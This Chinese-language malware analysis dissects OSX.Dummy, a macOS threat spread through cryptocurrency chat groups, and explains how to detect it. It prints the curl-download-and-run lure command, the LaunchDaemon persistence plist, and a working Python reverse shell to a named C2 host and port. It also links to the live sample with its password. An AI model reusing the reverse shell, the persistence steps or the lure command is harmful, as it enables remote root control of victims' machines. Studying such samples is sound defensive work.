新型Mac恶意软件OSX.Dummy目标瞄准加密货币社区

今天早些时候,Remco Verhoef@remco_verhoef)在SANS信息处理程序日志博客(InfoSec Handlers Diary Blog发布了一篇有趣的文章。题为“ Crypto community target of MacOS malware ”,他指出:

“前几天,我们已经看到了多起MacOS恶意软件攻击,这些攻击来自于与加密货币相关的SlackDiscord聊天组,发起人伪装成管理员或关键岗位工作人员。小的代码片段被共享,导致下载和执行恶意二进制文件。”

他的记录了初始感染向量,并概述了恶意软件,包括实现持久性(启动守护进程)和目的(反向shell)的方法。

在这里,我们深入剖析了恶意软件,并说明了Objective-See的工具在每一个步骤中 是如何阻止这种新的威胁的。

想一起玩吗?我已经分享了恶意软件,可以在这里下载(密码:infect3d)。

 

OSX.Dummy

Remco Verhoef表示,恶意软件攻击是:

“来自于与加密货币相关的SlackDiscord聊天组,发起人伪装成管理员或关键岗位工作人员。小的代码片段被共享,导致下载和执行恶意二进制文件。”

显然,攻击者是想通过以下命令来让用户感染自己:

$ cd / tmp && curl -s curl $ MALICIOUS_URL> script && chmod + x script && ./script

如果用户对这段代码感兴趣(相当差劲的社会工程技巧),一个相当庞大的machO二进制文件将被下载并执行。

你说它庞大?是的,它的大小达到34M

$ du -h /tmp/script 34M script

使用WhatsYourSign,我们可以看到恶意二进制文件没有被签名:

 通常这样的二进制文件将会被GateKeeper所阻止。 但是,如果用户通过终端命令直接下载并运行二进制文件,GateKeeper则不会起作用,因此将允许执行无符号二进制文件。这是否算作GateKeeper旁路?也许?我认为(再一次)内置的macOS恶意软件缓解措施不应被视为万能药

不幸的是,这个二进制文件仍然保持100%未被检测到(0/60),基于VirusTotal上的所有防病毒引擎:

 继续,如果我们在Hopper中打开二进制文件,其之所以那么庞大的原因是显而易见的。各种库,如OpenSSLV8,似乎都是静态编译的:

由于这个二进制文件非常庞大,充满了各种各样的库代码,我们将跳过静态分析,并直接跳转到动态分析。

在安装了各种Objective-See工具的High Sierra虚拟机(vm)中,我们执行恶意软件以动态观察其行为。

通过ProcInfo进程监视器,很容易被动地看到恶意软件正在做什么。

首先,恶意软件将脚本设置为root用户:

# procInfo

monitoring for process events...

process start:
pid: 432
path: /usr/bin/sudo
args: (
"/usr/bin/sudo",
"-S",
"-p",
"#node-sudo-passwd#",
chown,
root,
"/tmp/script.sh"
)

当恶意软件执行sudo将文件权限更改为root权限时,这将要求用户在终端中输入其密码。密码将被恶意软件保存到/tmp/dumpdummy

#sudo fs_usage -w -f filesystem
open / tmp / dumpdummy script.5354
pwrite F = 19 script.5354
close F = 19 script.5354 #cat

/ tmp / dumpdummy
hunter2

恶意软件然后通过chmod +x将脚本设置为可执行:

# procInfo

monitoring for process events...

process start:
path: /usr/bin/sudo
user: 501
args: (
"/usr/bin/sudo",
"-S",
"-p",
"#node-sudo-passwd#",
chmod,
"+x",
"/tmp/script.sh"
)

在此之后,恶意软件将继续:

l  将脚本移入 /var/root

mv “/tmp/script.sh” “/var/root/”

l  将一个plist文件转储到/tmp/com.startup.plist中,然后移动到LaunchDaemons目录

mv “/tmp/com.startup.plist” “/Library/LaunchDaemons/

l  plist文件 com.startup.plist的所有者设置为root

chown root “/Library/LaunchDaemons/com.startup.plist”

l  启动com.startup.plist,以启动守护进行

launchctl load “-w” “/Library/LaunchDaemons/com.startup.plist”

此时,恶意软件已经持久化了一个恶意的启动守护进程。BlockBlock注意到了这一点,它可以检测并警告这个持久性尝试:

 正如BlocKBlock警报所展示的那样,启动守护程序plist文件的路径为/Library/LaunchDaemons/com.startup.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>KeepAlive</key>
        <true/>
        <key>Label</key>
        <string>com.startup</string>
        <key>Program</key>
        <string>/var/root/script.sh</string>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>

RunAtLoad键值被设置为true时,只要系统重新启动,操作系统就会自动执行该Program键值/var/root/script.sh

#!/bin/bash
while :
do
        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
        sleep 5
done

让我们来看看这个script.sh文件:

你会发现,这是一个Python脚本。正如Remco Verhoef@remco_verhoef)在他的文章中所指出的那样,它将尝试连接1337端口上的185.243.115.230

然后,它将stdinstdoutstderr复制到套接字中,然后使用-i标志执行/bin/sh。换句话来说,它正在设置一个交互式的反向shell

如果你安装了防火墙产品(例如Objective-SeeLuLu),则会检测到该网络活动:

 如果与攻击者的CC服务器(185.243.115.230:1337)的连接成功,攻击者将能够在受感染的系统上任意执行命令(以root身份)。

 

结论

今天我们分析了一个新的mac恶意软件。我将它称为OSX.Dummy

l  感染方法很差劲

l  二进制文件过于庞大

l  持久性机制质量很差

l  能力相当有限

l  在每一步的检测都是微不足道的

l  最后,恶意软件将用户的密码保存到 dumpdummy

要检查你是否受到感染,可以以root用户身份运行KnockKnock(因为恶意软件集的组件只能由root用户读取)。寻找一个未签名的启动项com.startup.plist执行名为“script.sh”的文件: 

 还可以查找以root用户身份运行的python实例,并使用前面提到的反向shell命令:

$ ps aux | grep -i python
root python -c import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

审核人:yiwang   编辑:边边

(完)